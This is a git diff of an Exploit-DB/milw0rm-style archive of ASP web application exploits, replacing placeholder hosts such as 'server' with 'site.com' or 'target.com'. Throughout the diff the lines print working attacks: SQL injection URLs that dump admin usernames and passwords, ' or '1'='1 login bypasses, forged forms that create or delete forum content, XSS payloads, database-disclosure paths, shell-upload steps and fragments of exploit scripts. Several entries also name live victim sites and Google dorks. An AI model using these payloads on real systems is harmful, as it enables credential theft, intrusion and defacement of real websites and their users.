L'))%2b'/'%2bconvert(varchar,isnull(convert(varcha r,Password),'NULL'))%2b'/'%2bconvert(varchar,isnul l(convert(varchar,Username),'NULL')) from AMB_REGISTEREDUSERS)) +* Exploit : Admin User / Password : http://www.site.com/boards/printer.asp?forum=AMB_xxxx&id=xxxx or 1=convert(int,(select top 1 convert(varchar,isnull(convert(varchar,Admin),'NUL L'))%2b'/'%2bconvert(varchar,isnull(convert(varcha r,Password),'NULL'))%2b'/'%2bconvert(varchar,isnul l(convert(varchar,Username),'NULL')) from AMB_REGISTEREDUSERS)) # milw0rm.com [2007-11-05] diff --git a/platforms/asp/webapps/4848.txt b/platforms/asp/webapps/4848.txt index bebc88c52..2c8535040 100755 --- a/platforms/asp/webapps/4848.txt +++ b/platforms/asp/webapps/4848.txt @@ -21,7 +21,7 @@ PortalApp is a Content Management System (CMS) for websites. Bug: The user input 'sortby' is directly used in query statement! #Exploit: -http://server/forums.asp?keywords=r3dm0v3&do_search=1&sortby=users.user_name+UNION+SELECT+1,2,3,4,5,password,user_name,8,9,10,user_id,accesslevel,13,14,15+FROM+Users +http://site.com/forums.asp?keywords=r3dm0v3&do_search=1&sortby=users.user_name+UNION+SELECT+1,2,3,4,5,password,user_name,8,9,10,user_id,accesslevel,13,14,15+FROM+Users author will be usernames topic will be passwords @@ -34,7 +34,7 @@ views will be access levels (5 is super admin) ############################################################################## create a forum: <html> -<form action=http://server/forums.asp?action=insert_level1_edit_disc_forums method=post> +<form action=http://site.com/forums.asp?action=insert_level1_edit_disc_forums method=post> userid:<input type=text name=user_id value=255>by default 255 is sa<br> ForumName:<input type=text name=ForumName value="H4c|<3d bY r3dm0v3"><br> Description:<input type=text name=Description value="r3dm0v3 was here. <a href=http://r3dm0v3.persianblog.ir>http://r3dm0v3.persianblog.ir</a>"><br> @@ -46,7 +46,7 @@ create a forum: create a topic: <html> -<form action=http://server/forums.asp?action=insert_level2_edit_disc_topics method=post> +<form action=http://site.com/forums.asp?action=insert_level2_edit_disc_topics method=post> userid:<input type=text name=user_id value=255>by default 255 is sa<br> ForumID:<input type=text name=ForumId value=><br> Subject:<input type=text name=Subject value="r3dm0v3."><br> @@ -62,10 +62,10 @@ create a topic: </form> </html> -delete a forum: http://server/forums.asp?action=delete_level1_edit_disc_forums&ForumId=[ForumID] -delete a topic: http://server/forums.asp?action=delete_level2_edit_disc_topics&TopicId=[TopicID] -delete a reply: http://server/forums.asp?action=delete_level3_edit_disc_replies&ReplyId=[ReplyID] -delete a topic reply: http://server/forums.asp?action=delete_level2_disc_replies&TopicId=[TopicID]&ReplyId=[ReplyID] +delete a forum: http://site.com/forums.asp?action=delete_level1_edit_disc_forums&ForumId=[ForumID] +delete a topic: http://site.com/forums.asp?action=delete_level2_edit_disc_topics&TopicId=[TopicID] +delete a reply: http://site.com/forums.asp?action=delete_level3_edit_disc_replies&ReplyId=[ReplyID] +delete a topic reply: http://site.com/forums.asp?action=delete_level2_disc_replies&TopicId=[TopicID]&ReplyId=[ReplyID] #There some other actions: insert_level3_edit_disc_replies @@ -82,7 +82,7 @@ update_level2_disc_replies ############################################################################## Add content: <html> -<form action=http://server/content.asp?action=insert_detail_default method=post> +<form action=http://site.com/content.asp?action=insert_detail_default method=post> userid:<input type=text name=user_id value=255>by default 255 is sa<br> ContentTypeID:<input type=text name=ContentTypeID value=2>1:general(company) 2:article 3:lin 4:news 5:announcement 6:download 7:gallery 8:faq ...<br> catID:<input type=text name=CatID value=198><br> @@ -110,7 +110,7 @@ Add content: ############################################################################## # XSS # ############################################################################## -http://server/forums.asp?keywords=%27%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&do_search=1 -http://server/content.asp?ContentType=General&keywords=%27%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&do_search=1 +http://site.com/forums.asp?keywords=%27%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&do_search=1 +http://site.com/content.asp?ContentType=General&keywords=%27%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&do_search=1 # milw0rm.com [2008-01-06] diff --git a/platforms/asp/webapps/5185.txt b/platforms/asp/webapps/5185.txt index fe57dfa01..505611aee 100755 --- a/platforms/asp/webapps/5185.txt +++ b/platforms/asp/webapps/5185.txt @@ -1,4 +1,4 @@ -## ## + ## ## ## ## ## ## ###CoRPITX diff --git a/platforms/asp/webapps/5717.txt b/platforms/asp/webapps/5717.txt index 61625459a..cd04a3d63 100755 --- a/platforms/asp/webapps/5717.txt +++ b/platforms/asp/webapps/5717.txt @@ -15,9 +15,9 @@ Dork : "Powered by i-pos Storefront" Attackz; -Http://Localserver/path/index.asp?item=[SQL Injection] +Http://Localsite.com/path/index.asp?item=[SQL Injection] -Example Attack: http://localserver/path/index.asp?item=-50+union+select+0,adminid,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+settings +Example Attack: http://localsite.com/path/index.asp?item=-50+union+select+0,adminid,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+settings Example Site: www.keysquality.com/index.asp?item=-50+union+select+0,adminid,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+settings ###################################################################################################### diff --git a/platforms/asp/webapps/5780.txt b/platforms/asp/webapps/5780.txt index 72ac3f082..a9e2f0a8d 100755 --- a/platforms/asp/webapps/5780.txt +++ b/platforms/asp/webapps/5780.txt @@ -1,4 +1,4 @@ -\ ASPDownload v 1.03 Remote Admin Bypass Exploit / + \ ASPDownload v 1.03 Remote Admin Bypass Exploit / \ / \_______________________________________________/ diff --git a/platforms/asp/webapps/5912.txt b/platforms/asp/webapps/5912.txt index a00b247d7..5d5e48df6 100755 --- a/platforms/asp/webapps/5912.txt +++ b/platforms/asp/webapps/5912.txt @@ -1,4 +1,4 @@ -# # + # # #Bl@ckbe@rD ('Tunisian TerrorisT') # # # ------------------------- #$$$$$$$$$$$$$$$$$$$$$$$#---------------------------------------- diff --git a/platforms/asp/webapps/5927.txt b/platforms/asp/webapps/5927.txt index 5650c5555..5ac1ed33b 100755 --- a/platforms/asp/webapps/5927.txt +++ b/platforms/asp/webapps/5927.txt @@ -1,4 +1,4 @@ -DUcalendar v 1.0 (detail.asp?iEve=) Remote SQL Inection Exploit + DUcalendar v 1.0 (detail.asp?iEve=) Remote SQL Inection Exploit [+] Script : DUcalendar diff --git a/platforms/asp/webapps/6405.txt b/platforms/asp/webapps/6405.txt index ff6fac6f7..bf472dfa2 100755 --- a/platforms/asp/webapps/6405.txt +++ b/platforms/asp/webapps/6405.txt @@ -10,7 +10,7 @@ # # Google D0rk : allinurl:index.asp?sideid= -POC : www.server/index.asp?sideid=[SQL] +POC : www.site.com/index.asp?sideid=[SQL] SQL : 1+union+select+concat(username,0x3a,password),2,3+from+login/* diff --git a/platforms/asp/webapps/6420.txt b/platforms/asp/webapps/6420.txt index 3c75d1e20..d0901126f 100755 --- a/platforms/asp/webapps/6420.txt +++ b/platforms/asp/webapps/6420.txt @@ -18,11 +18,11 @@ # #--# 1-Arbitrary File Upload Exploit [AspWebAlbum All Versions] # # -http://www.server/path/album.asp?action=uploadmedia&cat=Real Category Name! # +http://www.site.com/path/album.asp?action=uploadmedia&cat=Real Category Name! # # and your shell adress: # # -http://www.server/path/album/categories/Real Category Name!/pics/yourshell.asp # +http://www.site.com/path/album/categories/Real Category Name!/pics/yourshell.asp # # # ex:1 # @@ -36,7 +36,7 @@ Ablaze rally 9-24-06/pics/klasvayv.asp #--# 2-Admin Bypass [AspWebAlbum 3.2] # # # -http://server/path/album.asp?action=login # +http://site.com/path/album.asp?action=login # # ASP/MS SQL Server login syntax # # @@ -46,7 +46,7 @@ Password:anything # #--# 3-Xss Vulnerability [AspWebAlbum 3.2] # # -http://server/album/album.asp?action=summary&message=<script>alert('xss')</script>&from=login # +http://site.com/album/album.asp?action=summary&message=<script>alert('xss')</script>&from=login # # ################################################################################################## diff --git a/platforms/asp/webapps/6453.txt b/platforms/asp/webapps/6453.txt index 0209a0b59..972ba9ae9 100755 --- a/platforms/asp/webapps/6453.txt +++ b/platforms/asp/webapps/6453.txt @@ -13,7 +13,7 @@ Exploit : For username you can read username on title -www.server/script_path/izle.asp?oyun=56+union+select+0,1,KULLANICIADI,3,4,5,6,7,8,9,10,11,12,13+from+KULLANICI +www.site.com/script_path/izle.asp?oyun=56+union+select+0,1,KULLANICIADI,3,4,5,6,7,8,9,10,11,12,13+from+KULLANICI ************************************************************************************** @@ -21,13 +21,13 @@ Exploit : For Password(md5 hash) you can read password on title -www.server/script_path/izle.asp?oyun=56+union+select+0,1,PAROLA,3,4,5,6,7,8,9,10,11,12,13+from+KULLANICI +www.site.com/script_path/izle.asp?oyun=56+union+select+0,1,PAROLA,3,4,5,6,7,8,9,10,11,12,13+from+KULLANICI ************************************************************************************** Administrator Path -www.server/script_path/yonetim_default.asp +www.site.com/script_path/yonetim_default.asp ************************************************************************************** diff --git a/platforms/asp/webapps/6731.txt b/platforms/asp/webapps/6731.txt index 831f49af8..fca59874a 100755 --- a/platforms/asp/webapps/6731.txt +++ b/platforms/asp/webapps/6731.txt @@ -8,7 +8,7 @@ ################################################################################################# ### POC -www.server/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+user)) +www.site.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+user)) ### Exploit : diff --git a/platforms/asp/webapps/7325.txt b/platforms/asp/webapps/7325.txt index b3d2619a1..5186bdab9 100755 --- a/platforms/asp/webapps/7325.txt +++ b/platforms/asp/webapps/7325.txt @@ -35,7 +35,7 @@ #Exploit : -http://server/db/MailingList.mdb +http://target.com/db/MailingList.mdb #live example : diff --git a/platforms/asp/webapps/7340.txt b/platforms/asp/webapps/7340.txt index c44d7924d..50d970e87 100755 --- a/platforms/asp/webapps/7340.txt +++ b/platforms/asp/webapps/7340.txt @@ -11,7 +11,7 @@ # easy to update. Free license under the GPL. # # Exploit: -# server/Database/News.mdb +# SITE.COM/Database/News.mdb # D0rk : "powered by easy-news.org" # # ------------------------------- diff --git a/platforms/asp/webapps/7349.txt b/platforms/asp/webapps/7349.txt index 6132e60b1..d50963577 100755 --- a/platforms/asp/webapps/7349.txt +++ b/platforms/asp/webapps/7349.txt @@ -18,7 +18,7 @@ #Exploit : -http://server/rankup.asp?siteID=convert(int,(select+@@version));-- +http://target.com/rankup.asp?siteID=convert(int,(select+@@version));-- #Live Demo http://www.top50.co.nz/rankup.asp?siteID=convert(int,(select+top+1+siteUserName+from+TBLsites));-- diff --git a/platforms/asp/webapps/7350.txt b/platforms/asp/webapps/7350.txt index 39916c07d..1f74fecf9 100755 --- a/platforms/asp/webapps/7350.txt +++ b/platforms/asp/webapps/7350.txt @@ -19,7 +19,7 @@ #Exploit : -http://server/login.asp +http://target.com/login.asp username : ' or '1'='1 password : ' or '1'='1 diff --git a/platforms/asp/webapps/7353.txt b/platforms/asp/webapps/7353.txt index c9ddac5c9..478486d1e 100755 --- a/platforms/asp/webapps/7353.txt +++ b/platforms/asp/webapps/7353.txt @@ -6,7 +6,7 @@ script: Cold BBS download from:http://www.peachydandy.com/scripts/download.php?go=2&file=4&mirror=7 *************************************************************************** -www.server/path/db/cforum.mdb +www.site.com/path/db/cforum.mdb *************************************************** diff --git a/platforms/asp/webapps/7370.txt b/platforms/asp/webapps/7370.txt index f62801c23..8054d7367 100755 --- a/platforms/asp/webapps/7370.txt +++ b/platforms/asp/webapps/7370.txt @@ -22,7 +22,7 @@ #Exploits : --=[DATABASE DISCLOSURE]=-- -http://server/natterchat112.mdb +http://www.target.com/natterchat112.mdb #live demo diff --git a/platforms/asp/webapps/7398.txt b/platforms/asp/webapps/7398.txt index 6db60c129..4e1c3d246 100755 --- a/platforms/asp/webapps/7398.txt +++ b/platforms/asp/webapps/7398.txt @@ -16,12 +16,12 @@ #Exploits : --=[SQL INJECTION]=-- -http://server/sendcard.cfm?cid=0+union+SELECT%20null,null,username,null%20FROM%20USERS%00 -http://server/sendcard.cfm?cid=0+union+SELECT%20null,null,pwd,null%20FROM%20USERS%00 +http://www.target.com/sendcard.cfm?cid=0+union+SELECT%20null,null,username,null%20FROM%20USERS%00 +http://www.target.com/sendcard.cfm?cid=0+union+SELECT%20null,null,pwd,null%20FROM%20USERS%00 --=[DATABASE DISCLOSURE]=-- -http://server/database/postcards.mdb +http://www.target.com/database/postcards.mdb diff --git a/platforms/asp/webapps/7414.txt b/platforms/asp/webapps/7414.txt index 85f7c1858..2b77a6086 100755 --- a/platforms/asp/webapps/7414.txt +++ b/platforms/asp/webapps/7414.txt @@ -10,7 +10,7 @@ #script : CF_AUCTION #download : null -#Demo : http://www.cfwebserver/ +#Demo : http://www.cfwebsite.com/ ########################################################################### @@ -19,9 +19,9 @@ --=[BLIND SQL INJECTION]=-- -http://www.cfwebserver/forummessages.cfm?topicnbr=4&categorynbr=2%20and%20substring(@@version,1,1)=5 TRUE -http://www.cfwebserver/forummessages.cfm?topicnbr=4&categorynbr=2%20and%20substring(@@version,1,1)=4 FALSE -http://www.cfwebserver/forummessages.cfm?topicnbr=4&categorynbr=2%20and%20substring(@@version,1,1)=3 FALSE +http://www.cfwebsite.com/forummessages.cfm?topicnbr=4&categorynbr=2%20and%20substring(@@version,1,1)=5 TRUE +http://www.cfwebsite.com/forummessages.cfm?topicnbr=4&categorynbr=2%20and%20substring(@@version,1,1)=4 FALSE +http://www.cfwebsite.com/forummessages.cfm?topicnbr=4&categorynbr=2%20and%20substring(@@version,1,1)=3 FALSE ########################################################################### diff --git a/platforms/asp/webapps/7436.txt b/platforms/asp/webapps/7436.txt index 9a3436bb9..a81ee4b3e 100755 --- a/platforms/asp/webapps/7436.txt +++ b/platforms/asp/webapps/7436.txt @@ -7,10 +7,10 @@ Vulnerability : (SQL,DD) --------------------------------------------------------- ######################################################### [DD]: -http://server/[Path]/admin/blog.mdb +http://site.com/[Path]/admin/blog.mdb [SQL]: -http://server/[Path]/admin/blog_comments.asp?BlogID='[SQL] +http://site.com/[Path]/admin/blog_comments.asp?BlogID='[SQL] --------------------------------- Victem : diff --git a/platforms/asp/webapps/7438.txt b/platforms/asp/webapps/7438.txt index 9887f821d..4bdbdf163 100755 --- a/platforms/asp/webapps/7438.txt +++ b/platforms/asp/webapps/7438.txt @@ -17,7 +17,7 @@ Dork : powered by vpasp v 6.50 ============================= /database/shopping650.mdb ----->> www.server/database/shopping650.mdb +---->> www.site.com/database/shopping650.mdb ============================= --------- Greetz --------- diff --git a/platforms/asp/webapps/7445.txt b/platforms/asp/webapps/7445.txt index 27472254c..45c722842 100755 --- a/platforms/asp/webapps/7445.txt +++ b/platforms/asp/webapps/7445.txt @@ -8,7 +8,7 @@ Vulnerability : (DD) --------------------------------------------------------- ######################################################### [DD]: -http://server/[Path]/_private/discussion.mdb +http://site.com/[Path]/_private/discussion.mdb --------------------------------- diff --git a/platforms/asp/webapps/7446.txt b/platforms/asp/webapps/7446.txt index 0cf370b9d..689ed7f0a 100755 --- a/platforms/asp/webapps/7446.txt +++ b/platforms/asp/webapps/7446.txt @@ -7,7 +7,7 @@ Vulnerability : (DD) --------------------------------------------------------- ######################################################### [DD]: -http://server/[Path]/admin/quote.mdb +http://site.com/[Path]/admin/quote.mdb --------------------------------- Victem : diff --git a/platforms/asp/webapps/7466.txt b/platforms/asp/webapps/7466.txt index a23c3682b..9f3fade99 100755 --- a/platforms/asp/webapps/7466.txt +++ b/platforms/asp/webapps/7466.txt @@ -4,7 +4,7 @@ < > < > auther : Cold z3ro, www.hackteach.org < > -< > http://server/[Path]/blog.mdb +< > http://site.com/[Path]/blog.mdb < > < > Dork : Powered By: Forest Blog v1.3.2 < > diff --git a/platforms/asp/webapps/7468.txt b/platforms/asp/webapps/7468.txt index fa544f25d..cbb3ddc0c 100755 --- a/platforms/asp/webapps/7468.txt +++ b/platforms/asp/webapps/7468.txt @@ -7,7 +7,7 @@ Vulnerability : (DD) --------------------------------------------------------- ######################################################### [DD]: -http://server/[Path]/CAdirectory/_private/CADirectory.mdb +http://site.com/[Path]/CAdirectory/_private/CADirectory.mdb --------------------------------- diff --git a/platforms/asp/webapps/7469.txt b/platforms/asp/webapps/7469.txt index 3472989de..f7ce23c38 100755 --- a/platforms/asp/webapps/7469.txt +++ b/platforms/asp/webapps/7469.txt @@ -7,7 +7,7 @@ Vulnerability : (DD) --------------------------------------------------------- ######################################################### [DD]: -http://server/[Path]/CAFFAPage/_private/CAFFAPage.mdb +http://site.com/[Path]/CAFFAPage/_private/CAFFAPage.mdb --------------------------------- diff --git a/platforms/asp/webapps/7470.txt b/platforms/asp/webapps/7470.txt index 64fb659d9..570e49193 100755 --- a/platforms/asp/webapps/7470.txt +++ b/platforms/asp/webapps/7470.txt @@ -7,7 +7,7 @@ Vulnerability : (DD) --------------------------------------------------------- ######################################################### [DD]: -http://server/[Path]/CAFreeWallpaper/_private/CAFreeWallpaper.mdb +http://site.com/[Path]/CAFreeWallpaper/_private/CAFreeWallpaper.mdb --------------------------------- diff --git a/platforms/asp/webapps/7471.txt b/platforms/asp/webapps/7471.txt index e68aad528..d2b082a73 100755 --- a/platforms/asp/webapps/7471.txt +++ b/platforms/asp/webapps/7471.txt @@ -7,7 +7,7 @@ Vulnerability : (DD) --------------------------------------------------------- ######################################################### [DD]: -http://server/[Path]/CAArticles/_private/CAArticles.mdb +http://site.com/[Path]/CAArticles/_private/CAArticles.mdb --------------------------------- diff --git a/platforms/asp/webapps/7472.txt b/platforms/asp/webapps/7472.txt index 2016973de..b01496f1e 100755 --- a/platforms/asp/webapps/7472.txt +++ b/platforms/asp/webapps/7472.txt @@ -7,7 +7,7 @@ Vulnerability : (DD) --------------------------------------------------------- ######################################################### [DD]: -http://server/[Path]/_private/CARateMySite.mdb +http://site.com/[Path]/_private/CARateMySite.mdb --------------------------------- diff --git a/platforms/asp/webapps/7488.txt b/platforms/asp/webapps/7488.txt index 85648b220..eb439c2c8 100755 --- a/platforms/asp/webapps/7488.txt +++ b/platforms/asp/webapps/7488.txt @@ -4,7 +4,7 @@ < > < > auther : Cold z3ro, www.hackteach.org < > -< > http://server/[Path]/database/WWGguestbook.mdb +< > http://site.com/[Path]/database/WWGguestbook.mdb < > < > Dork : webwizguestbook_license.asp < > diff --git a/platforms/asp/webapps/7491.txt b/platforms/asp/webapps/7491.txt index f864a959e..a31c1db3d 100755 --- a/platforms/asp/webapps/7491.txt +++ b/platforms/asp/webapps/7491.txt @@ -7,7 +7,7 @@ #Dork: "Powered by Nukedit" ############################################ --=[Database Disclosure]=-- -http://server/database/dbsite.mdb +http://target.com/database/dbsite.mdb Live Demo diff --git a/platforms/asp/webapps/7499.txt b/platforms/asp/webapps/7499.txt index 0f645ec4f..8acd7ce0a 100755 --- a/platforms/asp/webapps/7499.txt +++ b/platforms/asp/webapps/7499.txt @@ -11,7 +11,7 @@ BP Blog V6.0 & V7.0 & V8.0 & V9.0 Database Disclosure Vulnerability ############################## -## {E} www.server/{path}/Blog.mdb +## {E} www.site.com/{path}/Blog.mdb ## {E} V6.0 -->> www.students.net/blog/Blog.mdb diff --git a/platforms/asp/webapps/7508.txt b/platforms/asp/webapps/7508.txt index d422b8663..a7c85a862 100755 --- a/platforms/asp/webapps/7508.txt +++ b/platforms/asp/webapps/7508.txt @@ -10,7 +10,7 @@ #script : QuickerSite Easy CMS #download : null -#Demo : http://cupofcoffee.quickerserver/ +#Demo : http://cupofcoffee.quickersite.com/ ########################################################################### @@ -19,7 +19,7 @@ --=[DATABASE DISCLOSURE]=-- -http://cupofcoffee.quickerserver/db/QuickerSite.mdb +http://cupofcoffee.quickersite.com/db/QuickerSite.mdb ########################################################################### diff --git a/platforms/asp/webapps/7534.txt b/platforms/asp/webapps/7534.txt index cfc731159..fe9fe6baa 100755 --- a/platforms/asp/webapps/7534.txt +++ b/platforms/asp/webapps/7534.txt @@ -7,7 +7,7 @@ #Dork: "Emefa Guestbook V 3.0" ############################################ --=[Database Disclosure]=-- -http://server/guestbook.mdb +http://target.com/guestbook.mdb #################################### Live Demo diff --git a/platforms/asp/webapps/7599.txt b/platforms/asp/webapps/7599.txt index dc3d5ebd4..5d6e0da43 100755 --- a/platforms/asp/webapps/7599.txt +++ b/platforms/asp/webapps/7599.txt @@ -18,8 +18,8 @@ --=[Database Disclosure]=-- -http://server/data/8690.mdb -http://server/data/8690BAK.mdb +http://target.com/data/8690.mdb +http://target.com/data/8690BAK.mdb #################################### diff --git a/platforms/asp/webapps/7613.txt b/platforms/asp/webapps/7613.txt index 3dd565e37..d491c3dbb 100755 --- a/platforms/asp/webapps/7613.txt +++ b/platforms/asp/webapps/7613.txt @@ -13,16 +13,16 @@ You Can See Admin User & Password In Plaintext -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- EXPLOITS: for username: -www.server/[path]/classdis.asp?ID=1%20union%20select%200,1,username,3%20from%20members +www.site.com/[path]/classdis.asp?ID=1%20union%20select%200,1,username,3%20from%20members for password: -www.server/[path]/classdis.asp?ID=1%20union%20select%200,1,password,3%20from%20members +www.site.com/[path]/classdis.asp?ID=1%20union%20select%200,1,password,3%20from%20members Online Demo: http://freeasp.sepcity.com/classifieds/classdis.asp?ID=1%20union%20select%200,1,2,3%20from%20members -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- NOTE/TIP: -Admin Login Is At http://server/[path]/admclassifieds.asp +Admin Login Is At http://site.com/[path]/admclassifieds.asp I'll Be A C I D A L !!! -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- diff --git a/platforms/asp/webapps/7872.txt b/platforms/asp/webapps/7872.txt index 1df05f395..832329b4c 100755 --- a/platforms/asp/webapps/7872.txt +++ b/platforms/asp/webapps/7872.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/asp/webapps/7963.txt b/platforms/asp/webapps/7963.txt index d000e4c1f..a0ec01da6 100755 --- a/platforms/asp/webapps/7963.txt +++ b/platforms/asp/webapps/7963.txt @@ -24,9 +24,9 @@ ~ Exploit ~ -www.server/admin/admin.asp +www.site.com/admin/admin.asp -www.server/PATH/admin +www.site.com/PATH/admin UserName : 'or' diff --git a/platforms/asp/webapps/7981.txt b/platforms/asp/webapps/7981.txt index afa105dae..27d78afb3 100755 --- a/platforms/asp/webapps/7981.txt +++ b/platforms/asp/webapps/7981.txt @@ -7,15 +7,15 @@ Vulnerability : (DD/XSS) --------------------------------------------------------- ######################################################### [DD]: -http://server/[Path]/database/yiuwekdsodksldfslwifds.mdb +http://site.com/[Path]/database/yiuwekdsodksldfslwifds.mdb Hash Decoder : http://pouya2006.persiangig.com/dec/PSOAMv3.html or Google searching ... [XSS]: -http://server/[Path]/userchklogin.asp?UserName=Pouya&Password=Pouya&CookieDate=0&ComeUrl=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&Submit=%C8%B7%C8%CF +http://site.com/[Path]/userchklogin.asp?UserName=Pouya&Password=Pouya&CookieDate=0&ComeUrl=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&Submit=%C8%B7%C8%CF -http://server/[Path]/userlogin.asp?ComeUrl=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt> +http://site.com/[Path]/userlogin.asp?ComeUrl=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt> --------------------------------- Victem : http://www.honeyjenny.com/art diff --git a/platforms/asp/webapps/7982.txt b/platforms/asp/webapps/7982.txt index 515c2dc97..9a2331f0a 100755 --- a/platforms/asp/webapps/7982.txt +++ b/platforms/asp/webapps/7982.txt @@ -8,10 +8,10 @@ Vulnerability : (DD/XSS) --------------------------------------------------------- ######################################################### [DD]: -http://server/[Path]/data/team.mdb +http://site.com/[Path]/data/team.mdb [XSS]: -http://server/[Path]/online.asp?lookname=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt> +http://site.com/[Path]/online.asp?lookname=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt> --------------------------------- Victem : http://cinv.vhost021.cn/team diff --git a/platforms/asp/webapps/8065.txt b/platforms/asp/webapps/8065.txt index c24c41901..8b0c8c1f3 100755 --- a/platforms/asp/webapps/8065.txt +++ b/platforms/asp/webapps/8065.txt @@ -4,7 +4,7 @@ #script : SAS Hotel Management System #download : Null -#script home page : http://www.sellatserver/sellatsite/hotel.asp +#script home page : http://www.sellatsite.com/sellatsite/hotel.asp #Demo : http://www.aebest.com diff --git a/platforms/asp/webapps/8120.txt b/platforms/asp/webapps/8120.txt index f9b1dd497..ba56faae8 100755 --- a/platforms/asp/webapps/8120.txt +++ b/platforms/asp/webapps/8120.txt @@ -18,9 +18,9 @@ @~~=Vul: -@~~=http://server/ [PATH] /admin_dl_browse.asp +@~~=http://site.com/ [PATH] /admin_dl_browse.asp -@~~=http://server/ [PATH] /dl_add_form.asp +@~~=http://site.com/ [PATH] /dl_add_form.asp @~~=Demo: diff --git a/platforms/asp/webapps/8132.txt b/platforms/asp/webapps/8132.txt index 84a775d4b..55efe66de 100755 --- a/platforms/asp/webapps/8132.txt +++ b/platforms/asp/webapps/8132.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . @@ -24,7 +24,7 @@ inurl:"default_Image.asp" [+] EXPLOITS: -http://www.server/imageLibrary//admin/images/default_Image.asp +http://www.site.com/imageLibrary//admin/images/default_Image.asp [exp:] diff --git a/platforms/asp/webapps/8377.pl b/platforms/asp/webapps/8377.pl index 91bc2d01b..c8512a7af 100755 --- a/platforms/asp/webapps/8377.pl +++ b/platforms/asp/webapps/8377.pl @@ -35,7 +35,7 @@ use lwp::UserAgent; system('cls'); system('title Exjune Guestbook v2 Remote Database Disclosure Exploit'); system('color 2'); -if (!defined($ARGV[0])) {print "[!] Usage : \n ./exploit http://server\n";exit();} +if (!defined($ARGV[0])) {print "[!] Usage : \n ./exploit http://site.com\n";exit();} if ($ARGV[0] =~ /http:\/\// ) { $site = $ARGV[0]."/"; } else { $site = "http://".$ARGV[0]."/"; } print "\n\n\n\n OOO OOO OO OO OO\n" ; print " OO O O O O\n" ; diff --git a/platforms/asp/webapps/8596.pl b/platforms/asp/webapps/8596.pl index e78a2b4f4..110864a46 100755 --- a/platforms/asp/webapps/8596.pl +++ b/platforms/asp/webapps/8596.pl @@ -31,9 +31,9 @@ print "[-]Ornegi inceleyin\n\n"; sub help() { print "[+] KullanIm : perl $0 url/IP Path \n"; -print "[+] if your target have a path : perl $0 server /path/ \n"; +print "[+] if your target have a path : perl $0 site.com /path/ \n"; print "[+] example : perl $0 lifelinesydney.org /asp-guestbook/ \n"; -print "[+] if your target doesnt have a path : perl $0 server / \n"; +print "[+] if your target doesnt have a path : perl $0 site.com / \n"; print "[+] example : perl $0 localhost / \n"; } diff --git a/platforms/asp/webapps/8610.pl b/platforms/asp/webapps/8610.pl index f8eb12615..6185d904a 100755 --- a/platforms/asp/webapps/8610.pl +++ b/platforms/asp/webapps/8610.pl @@ -28,7 +28,7 @@ if(@ARGV < 1) sub help() { print "[X] Usage : perl $0 site \n"; -print "[X] Exemple : perl $0 www.server \n"; +print "[X] Exemple : perl $0 www.site.com \n"; } ($site) = @ARGV; print("Please Wait ! Connecting To The Server ......\n\n"); diff --git a/platforms/asp/webapps/8719.py b/platforms/asp/webapps/8719.py index 0b87b56c3..effd81763 100755 --- a/platforms/asp/webapps/8719.py +++ b/platforms/asp/webapps/8719.py @@ -37,7 +37,7 @@ def Abysssec(): #Call Banner Abysssec() -print "\n[+] Target Host: e.g: http://server/danaportal/" +print "\n[+] Target Host: e.g: http://site.com/danaportal/" try: host=raw_input("\nTarget Host : ") except KeyboardInterrupt: diff --git a/platforms/asp/webapps/8726.txt b/platforms/asp/webapps/8726.txt index 750d33d44..05bdf8a7f 100755 --- a/platforms/asp/webapps/8726.txt +++ b/platforms/asp/webapps/8726.txt @@ -11,7 +11,7 @@ # Type: Sql Injection # Risk: Medium #=========================================================== -# http://server/inc/ajax.asp?action=digg&amp;id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97 +# http://site.com/inc/ajax.asp?action=digg&amp;id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97 #=========================================================== ################################################################# # Securitylab Security Research Team diff --git a/platforms/asp/webapps/8749.txt b/platforms/asp/webapps/8749.txt index 87ac98be5..c5e5adba2 100755 --- a/platforms/asp/webapps/8749.txt +++ b/platforms/asp/webapps/8749.txt @@ -13,9 +13,9 @@ # Risk: High # Dork: "inc_webblogmanager.asp" #=========================================================== -# http://server/includes/shared_scripts/wysiwyg_editor/assetmanager/assetmanager.asp +# http://site.com/includes/shared_scripts/wysiwyg_editor/assetmanager/assetmanager.asp # select file and uploaded -# view file : http://server/assets/webblogmanager/shell.aspx +# view file : http://site.com/assets/webblogmanager/shell.aspx #=========================================================== ################################################################# # Securitylab Security Research Team diff --git a/platforms/asp/webapps/8785.txt b/platforms/asp/webapps/8785.txt index 686d59b87..ff5c10601 100755 --- a/platforms/asp/webapps/8785.txt +++ b/platforms/asp/webapps/8785.txt @@ -1,4 +1,4 @@ -######################### Securitylab.ir ######################## + ######################### 